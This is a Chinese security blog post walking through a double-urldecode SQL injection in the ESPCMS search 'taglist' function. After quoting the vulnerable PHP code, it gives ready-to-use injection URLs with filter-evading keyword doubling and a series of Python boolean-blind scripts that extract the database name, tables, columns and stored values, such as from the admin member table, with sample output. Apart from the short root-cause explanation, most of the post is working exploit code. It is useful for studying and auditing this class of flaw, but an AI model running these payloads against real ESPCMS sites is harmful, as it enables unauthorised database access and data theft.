espcms搜索注入


espcms搜索注入

原理

二次urldecode注入

使用了urldecode或者rawurldecode函数可能会导致单引号(’)、双引号(”)、反斜杠(/)等符号被注入到语句,进而产生漏洞

addslashes()mysql_real_escape_string()mysql_escape_string()等函数能对urldecode()后的结果处理,从而避免产生漏洞

eg:

xx.php?id=1%2527,浏览器接收后先进行一次自解码id=1%27,%25解码为%,urlencode()再解码,变成id=1',产生注入漏洞

代码审计的时候可以通过搜索这两个函数urldecode或者rawurldecode来寻找漏洞

操作演示

先搭建环境,进入首页,配置好数据库及其他配置

漏洞在interface/search.php文件和interface/3gwap_search.php文件in_taglist()函数

可以看到一个搜索框和两个参数,审计代码

代码中有三个函数,in_list(),in_result(),in_taglist(),第二函数应该是调用函数,阅读代码得到第三个参数是tagkey

函数代码

function in_taglist() {
		parent::start_pagetemplate();
		include_once admin_ROOT . 'public/class_pagebotton.php';

		$page = $this->fun->accept('page', 'G');
		$page = isset($page) ? intval($page) : 1;
		$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
		$tagkey = urldecode($this->fun->accept('tagkey', 'R'));
		$tagkey = $this->fun->inputcodetrim($tagkey);

		$db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';
		if (empty($tagkey)) {
			$linkURL = $_SERVER['HTTP_REFERER'];
			$this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']);
		}
		if (!empty($tagkey)) {
			$db_where.=" AND FIND_IN_SET('$tagkey',tags)";
		}
		$pagemax = 20;

		$pagesylte = 1;

		$templatesDIR = $this->get_templatesdir('article');

		$templatefilename = $lng . '/' . $templatesDIR . '/search';

		$db_table = db_prefix . 'document';
		$countnum = $this->db_numrows($db_table, $db_where);
		if ($countnum > 0) {

			$numpage = ceil($countnum / $pagemax);
		} else {
			$numpage = 1;
		}
		$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
			color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
		$this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']);
		$sql = $this->htmlpage->PageSQL('pid,did', 'down');
		$rs = $this->db->query($sql);
		while ($rsList = $this->db->fetch_assoc($rs)) {
			$rsList['typename'] = $this->get_type($rsList['tid'], 'typename');
			$rsList['link'] = $this->get_link('doc', $rsList, admin_LNG);
			$rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG);
			$rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG);
			$rsList['ctitle'] = empty($rsList['color']) ? $rsList['title'] : "<font color='" . $rsList['color'] . "'>" . $rsList['title'] . "</font>";
			$rsList[$keyname] = str_ireplace($keyword, '<font color="#F00000"><u>' . $keyword . '</u></font>', $rsList[$keyname]);
			$array[] = $rsList;
		}
		$this->pagetemplate->assign('pagetext', $this->htmlpage->PageStat($this->lng['pagetext']));
		$this->pagetemplate->assign('pagebotton', $this->htmlpage->PageList());
		$this->pagetemplate->assign('pagenu', $this->htmlpage->Bottonstyle(false));
		$this->pagetemplate->assign('pagese', $this->htmlpage->pageSelect());
		$this->pagetemplate->assign('pagevt', $this->htmlpage->Prevbotton());

		$this->pagetemplate->assign('array', $array);
		$this->pagetemplate->assign('path', 'search');
		unset($array, $typeread, $modelview, $LANPACK, $this->lng);
		$this->pagetemplate->display($templatefilename, 'search', false, $filename, admin_LNG);
	}

里面的几条重要语句

$tagkey = urldecode($this->fun->accept('tagkey', 'R'));这句语句就是漏洞的根源,fun先检测,urlencode再转义

if (!empty($tagkey)) {
			$db_where.=" AND FIND_IN_SET('$tagkey',tags)";
		}

不为空就拼接成where子句

$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
$rs = $this->db->query($sql);

创建并且执行sql语句,可以看到中间并没有其他的手段

在如图添加一条回显,方便调试

可以看到单引号被转义了,这时利用urldecode()的特性,报错存在注入

$db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';
$db_where.=" AND FIND_IN_SET('$tagkey',tags)";

有这两条语句得到测试payload

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or 1=1 %23

返回结果为真

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or 1=2 %23

返回结果为假oArAbt.png

可以将”暂无内容”设为盲注的标准

测试注入数据库长度

http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) or (seleselectct length(database())=9)  %23

相符合,其他的用脚本就能跑出来

脚本演示

爆数据库长度

import requests

url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
for i in range(1, 100):
    payload = r'or (seleselectct length(database()))={} %23'.format(i)
    r = requests.get(url + payload)

    if "暂无内容" not in r.text:
        print(str(i))
        
        
 # 9

爆数据库名

import requests

url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
database_length = 9
database_name = ''

for i in range(1, database_length + 1):
    for j in range(0, 128):
        payload = r'or ascii(substr((seleselectct database()),{0}, 1))={1} %23'.format(i, j)
        r = requests.get(url + payload)

        if "暂无内容" not in r.text:
            database_name += str(chr(j))
            print(database_name)


'''
e
es
esp
espc
espcm
espcms
espcms_
espcms_v
espcms_v5

'''

爆表的长度(第一个表)

import requests

url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
for i in range(1, 100):
    payload = r'or (seleselectct length(table_name) frfromom information_schema.tables whwhereere table_schema=database() limit 0,1)={} %23'.format(i)
    r = requests.get(url + payload)

    if "暂无内容" not in r.text:
        print(str(i))

        
# 19

要爆其他表可以在limit的第一参数更改,或者再加一个循环

爆表名

import requests

url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
table_length = 19
table_name = ''

for i in range(1, table_length + 1):
    for j in range(0, 128):
        payload = r'or ascii(substr((seleselectct table_name frfromom information_schema.tables whwhereere table_schema=database() limit 0,1),{0}, 1))={1} %23'.format(i, j)
        r = requests.get(url + payload)

        if "暂无内容" not in r.text:
            table_name += str(chr(j))
            print(table_name)

# xxxxxxxadmin_member

爆列的长度

import requests

url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
table_name = 'xxxxxxxadmin_member'
for i in range(1, 100):
    payload = r'or (seleselectct length(column_name) frfromom information_schema.columns whwhereere table_name=%2527{0}%2527 limit 0,1)={1} %23'.format(table_name, i)
    r = requests.get(url + payload)

    if "暂无内容" not in r.text:
        print(str(i))
        
        
        
# 2

爆列名

import requests

url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
column_length = 2
table_name = 'xxxxxxxadmin_member'
column_name = ''

for i in range(1, column_length + 1):
    for j in range(0, 128):
        payload = r'or ascii(substr((seleselectct column_name frfromom information_schema.columns whwhereere table_name=%2527{0}%2527 limit 0,1),{1}, 1))={2} %23'.format(table_name, i, j)
        r = requests.get(url + payload)

        if "暂无内容" not in r.text:
            column_name += str(chr(j))
            print(column_name)

# id

爆值的长度

import requests

url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
column_name = 'id'
table_name = 'xxxxxxxadmin_member'
for i in range(1, 100):
    payload = r'or (seleselectct length({0}) frfromom {1} limit 0,1)={2} %23'.format(column_name, table_name, i)
    r = requests.get(url + payload)

    if "暂无内容" not in r.text:
        print(str(i))

# 1

爆值

import requests

url = "http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=1%2527,tags) "
key_length = 1
column_name = "id"
table_name = 'xxxxxxxadmin_member'
key_name = ''

for i in range(1, key_length + 1):
    for j in range(0, 128):
        payload = r'or ascii(substr((seleselectct {0} frfromom {1} limit 0,1),{2},1))={3} %23'.format(column_name, table_name, i,j)
        r = requests.get(url + payload)

        if "暂无内容" not in r.text:
            key_name += str(chr(j))
            print(key_name)

# 1

查看表中数据相符,这就是整个流程,当然可以直接放在sqlmap里跑


文章作者: 0xdadream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0xdadream !
评论
  目录